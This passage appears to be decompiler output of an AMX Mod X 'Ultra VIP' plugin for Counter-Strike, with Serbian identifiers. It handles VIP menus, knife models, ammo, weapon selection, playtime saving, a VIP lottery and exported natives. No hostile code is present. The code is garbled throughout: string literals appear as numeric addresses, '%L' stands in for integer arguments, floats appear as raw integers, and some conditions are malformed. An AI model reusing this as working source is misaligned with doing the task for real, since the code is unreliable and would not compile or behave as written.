47, 47, 99, 111, 98, 97, 110, 46, 101, 104, 114, 115, 46, 105, 110, 102, 111, 47, 117, 108, 116, 114, 97, 95, 118, 105, 112, 46, 112, 104, 112, 0
},
{
85, 108, 116, 114, 97, 32, 86, 73, 80, 32, 73, 110, 102, 111, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 37, 100, 32, 37, 100, 32, 37
},
{
100, 0, 85, 108, 116, 114, 97, 95, 86, 105, 112, 95, 86, 114, 101, 109, 101, 95, 73, 103, 114, 97, 99, 97, 0, 0, 0, 0, 0, 0, 0, 0
},
{
0, 0, 0, 16, 24, 32, 40, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 85, 108, 116, 114, 97, 95, 86, 105, 112, 95, 86, 114, 101
},
{
109, 101, 95, 73, 103, 114, 97, 99, 97, 0, 91, 85, 108, 116, 114, 97, 32, 86, 105, 112, 93, 32, 1, 37, 76, 0, 77, 76, 95, 79, 80, 67
}
};
new Poruka[256];
new Izbroj;
new BrojCelija;
new i = 1;
while (Globalne[0] >= i)
{
new var2;
if (bym_igrac_je(i, 1) && !bym_igrac_je(i, 2) && 1 << i & 31 & OznakeIgraca[0])
{
Izbroj++;
get_user_name(i, ImenaVipova[Izbroj], 31);
}
i++;
}
BrojCelija = formatex(Poruka, 255, 78540, id, "ML_ONLINE_VIPOVI");
if (0 < Izbroj)
{
new k;
while (k < Izbroj)
{
new var3;
if (k < Izbroj + -1)
{
var3 = 78660;
}
else
{
var3 = 78672;
}
BrojCelija = formatex(Poruka[BrojCelija], 255 - BrojCelija, "%s%s ", ImenaVipova[k], var3) + BrojCelija;
if (BrojCelija > 96)
{
ColorChat(id, Color:2, "%s", Poruka);
BrojCelija = formatex(Poruka[BrojCelija], 255 - BrojCelija, "\x04 ") + BrojCelija;
}
k++;
}
ColorChat(id, Color:2, "%s", Poruka);
}
else
{
BrojCelija = formatex(Poruka[BrojCelija], 255 - BrojCelija, "%L", id, "ML_NEMA_VIPOVA_ONLINE") + BrojCelija;
ColorChat(id, Color:2, "%s", Poruka);
}
return 1;
}
public PromeniModelNoza(Objekat)
{
new id = get_pdata_cbase(Objekat, 41, 4, 5);
new var2;
if (bym_igrac_je(id, 0) && bym_igrac_je(id, 1) && 1 << id & 31 & OznakeIgraca[0] && !BrojNozeva <= 0 && Cvar[39][1])
{
ArrayGetArray(NizNozevi, InformacijeIgraca[id][3], Nozevi);
entity_set_string(id, "", 53352 + 128);
}
return 0;
}
public TrenutnoOruzije(id)
{
new var1;
if (1 << id & 31 & OznakeIgraca[0])
{
var1 = 1;
}
else
{
var1 = 0;
}
new var2;
if (!var1 || bym_igrac_je(id, 2) || !bym_igrac_je(id, 1) || !bym_igrac_je(id, 0))
{
return 0;
}
new Oruzije = read_data(2);
switch (Cvar[25][1])
{
case 0:
{
return 0;
}
case 1:
{
new IdOruzija[32];
new BrojOruzija;
get_user_weapons(id, IdOruzija, BrojOruzija);
new i;
while (i < BrojOruzija)
{
if (bym_igrac_je(id, 1))
{
if (0 < MunicijaOruzija[IdOruzija[i]][0])
{
cs_set_user_bpammo(id, IdOruzija[i], MunicijaOruzija[IdOruzija[i]][0]);
}
}
i++;
}
}
case 2:
{
if (MunicijaOruzija[Oruzije][1] != -1)
{
set_user_clip(id, MunicijaOruzija[Oruzije][1]);
}
}
default:
{
}
}
return 0;
}
public IzaberiNoz(id)
{
if (!Cvar[39][1])
{
ColorChat(id, Color:2, "[Ultra Vip] \x01%L", id, "ML_OPCIJA_ONEMOGUCENA_ZA_VIPOVE");
return 0;
}
if (!BrojNozeva)
{
ColorChat(id, Color:2, "[Ultra VIP] \x01%L", id, "ML_NEMA_NOZEVA");
return 0;
}
new var1;
if (1 << id & 31 & OznakeIgraca[0])
{
var1 = 1;
}
else
{
var1 = 0;
}
if (!var1)
{
ColorChat(id, Color:2, "[Ultra VIP] \x01%L", id, "ML_NISI_VIP");
return 0;
}
static Naslov[20];
formatex(Naslov, 19, "\y%L:", id, "ML_NASLOV_NOZEVI");
new Meni = menu_create(Naslov, "IzaberiNozFunkcija", "%L");
new Broj[3];
new Sadrzaj[64];
new i;
while (i < BrojNozeva)
{
ArrayGetArray(NizNozevi, i, Nozevi);
formatex(Sadrzaj, 63, "\y%s", Nozevi);
num_to_str(i, Broj, 2);
menu_additem(Meni, Sadrzaj, Broj, "%L", -1);
i++;
}
menu_display(id, Meni, "%L");
return 0;
}
public IzaberiNozFunkcija(id, Meni, Stavka)
{
if (Stavka == -3)
{
menu_destroy(Meni);
return 0;
}
if (!Cvar[39][1])
{
ColorChat(id, Color:2, "[Ultra Vip] \x01%L", id, "ML_OPCIJA_ONEMOGUCENA_ZA_VIPOVE");
return 0;
}
new PristupMeniju;
new Broj[3];
new Odziv;
menu_item_getinfo(Meni, Stavka, PristupMeniju, Broj, 2, {0}, "%L", Odziv);
menu_destroy(Meni);
new IdNoza = str_to_num(Broj);
new PovratnaReakcija;
InformacijeIgraca[id][3] = IdNoza;
ExecuteForward(ForwardNozevi, PovratnaReakcija, id, IdNoza);
return 0;
}
set_user_clip(id, Municija)
{
new ImeOruzija[24];
new IdOruzija = -1;
new Oruzije = get_user_weapon(id, 0, 0);
get_weaponname(Oruzije, ImeOruzija, 23);
while ((IdOruzija = find_ent_by_class(IdOruzija, ImeOruzija)))
{
if (id == entity_get_edict(IdOruzija, 4))
{
set_pdata_int(IdOruzija, 51, Municija, 4, 5);
return IdOruzija;
}
}
return 0;
}
RastaviCvarZaBoju(Cvar, &Crvena, &Zelena, &Plava)
{
static Parce[5];
static Boje[16];
get_pcvar_string(Cvar, Boje, 15);
strbreak(Boje, Parce, 4, Boje, 15);
Crvena = str_to_num(Parce);
strbreak(Boje, Parce, 4, Boje, 15);
Zelena = str_to_num(Parce);
Plava = str_to_num(Boje);
return 0;
}
ObojiEkran(id, Trajanje, VremeZadrzavanja, Vrsta, Crvena, Zelena, Plava, Providnost)
{
if (Cvar[27][1])
{
message_begin(1, Globalne[1], 79796, id);
write_short(Trajanje);
write_short(VremeZadrzavanja);
write_short(Vrsta);
write_byte(Crvena);
write_byte(Zelena);
write_byte(Plava);
write_byte(Providnost);
message_end();
}
return 0;
}
public plugin_natives()
{
register_library("utra_vip_bym");
register_native("da_li_je_vip", "NativeDaLiJeVip", 1);
register_native("daj_vipa", "NativeDajVipa", 1);
register_native("vip_registruj_pomagalo", "NativeRegistrujPomagalo", "%L");
register_native("otvori_vip_meni", "NativeOtvoriProdavnicu", 1);
register_native("otvori_prodavnicu", "NativeOtvoriVipMeni", 1);
register_native("vip_kupi_pomagalo", "NativeKupiPomagalo", 1);
register_native("vip_id_pomagala", "NativeIdPomagala", 1);
register_native("vip_registruj_noz", "NativeRegistrujNoz", "%L");
register_native("vip_daj_noz", "NativeDajNoz", 1);
register_native("vip_id_noza", "NativeIdNoza", 1);
return 0;
}
public NativeDaLiJeVip(id)
{
new var1;
if (bym_igrac_je(id, 2) || !bym_igrac_je(id, 1))
{
return -1;
}
new var2;
if (1 << id & 31 & OznakeIgraca[0])
{
var2 = 1;
}
else
{
var2 = 0;
}
return var2;
}
public NativeDajVipa(id, Dodavac, Nasta, LozinkaIgraca[], Razlog[])
{
new var2;
if (bym_igrac_je(id, 2) || !bym_igrac_je(id, 1) || 1 << id & 31 & OznakeIgraca[0])
{
return 0;
}
DajVipa(id, Dodavac, Nasta, LozinkaIgraca, Razlog);
return 0;
}
public NativeRegistrujPomagalo(Plugin, Parametri)
{
get_string(1, Pomagala, 63);
Pomagala[64] = get_param(2);
ArrayPushArray(NizPomagala, Pomagala);
BrojDodatihPomagala += 1;
return BrojDodatihPomagala + -1;
}
public NativeOtvoriProdavnicu(id)
{
new var1;
if (bym_igrac_je(id, 2) || !bym_igrac_je(id, 1))
{
return 0;
}
KupiPomagala(id);
return 0;
}
public NativeOtvoriVipMeni(id)
{
new var1;
if (bym_igrac_je(id, 2) || !bym_igrac_je(id, 1))
{
return 0;
}
VipMeni(id);
return 0;
}
public NativeKupiPomagalo(id, IdPomagala)
{
new var2;
if (bym_igrac_je(id, 2) || !bym_igrac_je(id, 1) || !bym_igrac_je(id, 0) || 1 << id & 31 & OznakeIgraca[0] || IdPomagala < 0 || IdPomagala >= BrojDodatihPomagala)
{
return 0;
}
KupiPomagalo(id, IdPomagala, 1);
return 1;
}
public NativeIdPomagala(ImePom[])
{
param_convert(1);
if (!strlen(ImePom))
{
return -1;
}
new i;
while (i < BrojDodatihPomagala)
{
ArrayGetArray(NizPomagala, i, Pomagala);
if (equal(Pomagala, ImePom, "%L"))
{
return i;
}
i++;
}
return -1;
}
public NativeRegistrujNoz(Plugin, Parametri)
{
static Model[128];
get_string(1, Nozevi, 31);
get_string(2, 53352 + 128, 63);
get_string(2, Model, 127);
engfunc("%L", Model);
ArrayPushArray(NizNozevi, Nozevi);
BrojNozeva += 1;
return BrojNozeva + -1;
}
public NativeDajNoz(id, IdNoza)
{
new var2;
if (bym_igrac_je(id, 2) || !bym_igrac_je(id, 1) || !bym_igrac_je(id, 0) || 1 << id & 31 & OznakeIgraca[0] || IdNoza < 0 || IdNoza >= BrojNozeva)
{
return 0;
}
InformacijeIgraca[id][3] = IdNoza;
return 1;
}
public NativeIdNoza(ImeNoza2[])
{
param_convert(1);
if (!strlen(ImeNoza2))
{
return -1;
}
new i;
while (i < BrojNozeva)
{
ArrayGetArray(NizNozevi, i, Nozevi);
if (equal(Nozevi, ImeNoza2, "%L"))
{
return i;
}
i++;
}
return -1;
}
public RegistrujObicanNoz()
{
copy(Nozevi, 31, "Obican Noz (Default Knife)");
copy(53352 + 128, 63, "models/v_knife.mdl");
engfunc("%L", "models/v_knife.mdl");
ArrayPushArray(NizNozevi, Nozevi);
BrojNozeva += 1;
return 0;
}
public VipInfo(id)
{
if (bym_igrac_je(id, 1))
{
ColorChat(id, Color:2, "[Ultra Vip] \x01Loading | Ucitavam...");
show_motd(id, "http://coban.ehrs.info/ultra_vip.php", "Ultra VIP Info");
}
return 0;
}
public PovecavajVreme(id)
{
new var2;
if (!Cvar[28][1] || 1 << id & 31 & OznakeIgraca[0])
{
return 0;
}
if (60 <= InformacijeIgraca[id][4])
{
InformacijeIgraca[id][4] = 0;
InformacijeIgraca[id][5]++;
}
if (60 <= InformacijeIgraca[id][5])
{
InformacijeIgraca[id][5] = 0;
InformacijeIgraca[id][6]++;
}
if (60 > InformacijeIgraca[id][4])
{
InformacijeIgraca[id][4]++;
}
return 0;
}
public SacuvajVreme(id)
{
new var1;
if (1 << id & 31 & OznakeIgraca[0])
{
var1 = 1;
}
else
{
var1 = 0;
}
new var2;
if (var1 || bym_igrac_je(id, 2) || !Cvar[28][1])
{
return 0;
}
static SadrzajBazePodataka[10];
formatex(SadrzajBazePodataka, 9, "%d %d %d", InformacijeIgraca[id][6], InformacijeIgraca[id][5], InformacijeIgraca[id][4]);
fvault_set_data("Ultra_Vip_Vreme_Igraca", InformacijeIgraca[id][7], SadrzajBazePodataka);
return 0;
}
public UcitajVreme(id)
{
new var1;
if (1 << id & 31 & OznakeIgraca[0])
{
var1 = 1;
}
else
{
var1 = 0;
}
new var2;
if (var1 || !bym_igrac_je(id, 1) || bym_igrac_je(id, 2) || !Cvar[28][1])
{
return 0;
}
static Podaci[4][3];
static SadrzajBazePodataka[10];
fvault_get_data("Ultra_Vip_Vreme_Igraca", InformacijeIgraca[id][7], SadrzajBazePodataka, 9, 0);
new var3 = Podaci;
parse(SadrzajBazePodataka, var3[0][var3], 2, Podaci[1], 2, Podaci[2], 2);
new var4 = Podaci;
InformacijeIgraca[id][6] = str_to_num(var4[0][var4]);
InformacijeIgraca[id][5] = str_to_num(Podaci[1]);
InformacijeIgraca[id][4] = str_to_num(Podaci[2]);
return 0;
}
public PrikaziVreme(id)
{
if (!Cvar[28][1])
{
ColorChat(id, Color:2, "[Ultra Vip] \x01%L", id, "ML_OPCIJA_ONEMOGUCENA");
return 0;
}
new var1;
if (1 << id & 31 & OznakeIgraca[0])
{
var1 = 1;
}
else
{
var1 = 0;
}
if (var1)
{
ColorChat(id, Color:2, "[Ultra Vip] \x01%L", id, "ML_OPCIJA_ONEMOGUCENA_ZA_VIPOVE");
return 0;
}
ColorChat(id, Color:2, "[Ultra VIP] \n%L", id, "ML_PROVERI_VREME", InformacijeIgraca[id][6], InformacijeIgraca[id][5], InformacijeIgraca[id][4]);
new var2;
if (Cvar[29][1] - InformacijeIgraca[id][6] > 0)
{
var2 = Cvar[29][1] - InformacijeIgraca[id][6];
}
else
{
var2 = 0;
}
ColorChat(id, Color:2, "[Ultra VIP] \n%L", id, "ML_PROVERI_VREME2", var2);
return 0;
}
public KupiTiket(id)
{
if (!Cvar[30][1])
{
ColorChat(id, Color:2, "[Ultra Vip] \x01%L", id, "ML_OPCIJA_ONEMOGUCENA");
return 0;
}
new var1;
if (1 << id & 31 & OznakeIgraca[0])
{
var1 = 1;
}
else
{
var1 = 0;
}
if (var1)
{
ColorChat(id, Color:2, "[Ultra Vip] \x01%L", id, "ML_OPCIJA_ONEMOGUCENA_ZA_VIPOVE");
return 0;
}
if (Cvar[31][1] > cs_get_user_money(id))
{
ColorChat(id, Color:2, "[Ultra Vip] \x01%L", id, "ML_NEMAS_DOVOLJNO_PARA");
return 0;
}
cs_set_user_money(id, cs_get_user_money(id) - Cvar[31][1], 1);
if (random_num(1, 20) == 1)
{
DajVipa(id, 0, 0, 83788, "Dobio VIP-a na lotou");
ColorChat(id, Color:2, "[Ultra VIP] \x01%L", id, "ML_DOBIO_SI_NA_LOTOU");
}
else
{
ColorChat(id, Color:2, "[Ultra VIP] \x01%L", id, "ML_VISE_SRECE");
}
return 0;
}
public SpasioTaoca()
{
static id;
id = get_loguser_index();
cs_set_user_money(id, Cvar[12][1] + cs_get_user_money(id), 1);
ColorChat(id, Color:2, "[Ultra VIP] \x01%L", id, "ML_SPASIO_TAOCA", Cvar[12][1]);
ExecuteForward(Forwardi[7], Odziv, id);
return 0;
}
get_loguser_index()
{
static ImeLogUser[32];
static LogUser[80];
read_logargv("%L", LogUser, 79);
parse_loguser(LogUser, ImeLogUser, 31, -2, {0}, "%L", {0}, "%L");
return get_user_index(ImeLogUser);
}
public IzaberiPusku(id)
{
new var1;
if (1 << id & 31 & OznakeIgraca[0])
{
var1 = 1;
}
else
{
var1 = 0;
}
new var2;
if (!var1 || !bym_igrac_je(id, 1) || bym_igrac_je(id, 2) || !bym_igrac_je(id, 0))
{
return 0;
}
static Naslov[32];
formatex(Naslov, 31, "%L", id, "ML_IZABERI_ORUZIJE");
new Meni = menu_create(Naslov, "IzaberiPusku_Funkcija", "%L");
new i;
while (i < 13)
{
menu_additem(Meni, Puske[i][0], 64996, "%L", -1);
i++;
}
menu_display(id, Meni, "%L");
return 0;
}
public IzaberiPusku_Funkcija(id, Meni, Stavka)
{
if (Stavka == -3)
{
menu_destroy(Meni);
return 0;
}
new var1;
if (1 << id & 31 & OznakeIgraca[0])
{
var1 = 1;
}
else
{
var1 = 0;
}
new var2;
if (var1 && bym_igrac_je(id, 1) && bym_igrac_je(id, 0))
{
give_item(id, Puske[Stavka][1]);
IzaberiPistolj(id);
PodesiMuniciju(id);
}
return 0;
}
public IzaberiPistolj(id)
{
new var1;
if (1 << id & 31 & OznakeIgraca[0])
{
var1 = 1;
}
else
{
var1 = 0;
}
new var2;
if (!var1 || !bym_igrac_je(id, 1) || bym_igrac_je(id, 2) || !bym_igrac_je(id, 0))
{
return 0;
}
static Naslov[32];
formatex(Naslov, 31, "%L", id, "ML_IZABERI_ORUZIJE");
new Meni = menu_create(Naslov, "IzaberiPistolj_Funkcija", "%L");
new i;
while (i < 6)
{
menu_additem(Meni, Pistolji[i][0], 64996, "%L", -1);
i++;
}
menu_display(id, Meni, "%L");
return 0;
}
public IzaberiPistolj_Funkcija(id, Meni, Stavka)
{
if (Stavka == -3)
{
menu_destroy(Meni);
return 0;
}
new var1;
if (1 << id & 31 & OznakeIgraca[0])
{
var1 = 1;
}
else
{
var1 = 0;
}
new var2;
if (var1 && bym_igrac_je(id, 1) && bym_igrac_je(id, 0))
{
give_item(id, Pistolji[Stavka][1]);
PodesiMuniciju(id);
}
return 0;
}
PodesiMuniciju(id)
{
new IdOruzija[32];
new BrojOruzija;
get_user_weapons(id, IdOruzija, BrojOruzija);
new i;
while (i < BrojOruzija)
{
if (bym_igrac_je(id, 1))
{
if (0 < MunicijaOruzija[IdOruzija[i]][0])
{
cs_set_user_bpammo(id, IdOruzija[i], MunicijaOruzija[IdOruzija[i]][0]);
}
}
i++;
}
return 0;
}
public fw_Ham_Weapon_Reload_Post(Objekat)
{
new var1;
if (get_pdata_int(Objekat, 54, 4, 5) && Cvar[33][1])
{
new id = get_pdata_cbase(Objekat, 41, 4, 5);
new var2;
if (1 << id & 31 & OznakeIgraca[0])
{
var2 = 1;
}
else
{
var2 = 0;
}
if (var2)
{
new Float:SledeciNapad = floatmul(1036831949, get_pdata_float(id, 83, 5, 5));
set_pdata_float(id, 83, SledeciNapad, 5, 5);
new Sekunde = floatround(SledeciNapad, 2);
VremenskaLinija(id, Sekunde, 100 - floatround(SledeciNapad / Sekunde * 100, "%L"));
}
}
return 0;
}
public fw_Ham_Item_Holster(Objekat)
{
new var1;
if (get_pdata_int(Objekat, 54, 4, 5) && Cvar[33][1])
{
new id = get_pdata_cbase(Objekat, 41, 4, 5);
new var2;
if (1 << id & 31 & OznakeIgraca[0])
{
var2 = 1;
}
else
{
var2 = 0;
}
if (var2)
{
VremenskaLinija(id, 0, 0);
}
}
return 0;
}
public fw_AddToFullPack(es, e, ent, host, host_flags, player, p_set)
{
if (!1 <= host <= 32)
{
return 1;
}
if (!bym_igrac_je(host, 0))
{
return 1;
}
if (!1 <= ent <= Globalne[0])
{
return 1;
}
new var1;
if (!bym_igrac_je(ent, 0) || !Cvar[34][1])
{
return 1;
}
new var2;
if (1 << host & 31 & OznakeIgraca[0])
{
var2 = 1;
}
else
{
var2 = 0;
}
if (var2)
{
set_es(es, 16, 1132396544);
}
return 2;
}
public fw_TraceLine(Float:PocetniVektor[3], Float:ZavrsniVektor[3], Ignorisi, Napadac, Zrtva)
{
new var1;
if (!bym_igrac_je(Napadac, 1) || !Cvar[37][1])
{
return 0;
}
new Pogodak = get_tr2(Zrtva, 8);
if (!bym_igrac_je(Pogodak, 1))
{
return 0;
}
new ZonaPogodka = get_tr2(Zrtva, 9);
new var2;
if (1 << Zrtva & 31 & OznakeIgraca[0])
{
var2 = 1;
}
else
{
var2 = 0;
}
new var3;
if (var2 && ZonaPogodka == 1)
{
set_tr2(Zrtva, 9, 8);
}
return 0;
}
bool:NocnoVreme()
{
static Se;
static M;
static S;
time(S, M, Se);
static ZavrsniSat;
static PocetniSat;
PocetniSat = str_to_num(PodaciCvaraZaVreme[1]);
ZavrsniSat = str_to_num(PodaciCvaraZaVreme[2]);
if (ZavrsniSat == PocetniSat)
{
return false;
}
new var2;
if (PocetniSat > ZavrsniSat && (S >= PocetniSat || S < ZavrsniSat))
{
return true;
}
new var4;
if (PocetniSat < ZavrsniSat && (S >= PocetniSat || S < ZavrsniSat))
{
return true;
}
return false;
}
VremenskaLinija(id, Sekunde, Procenat)
{
message_begin(8, PorukaVremenskaLinija, 2308, id);
write_short(Sekunde);
write_short(Procenat);
message_end();
return 0;
}
public plugin_end()
{
TrieDestroy(Niz);
TrieDestroy(52016 + 4);
return 0;
}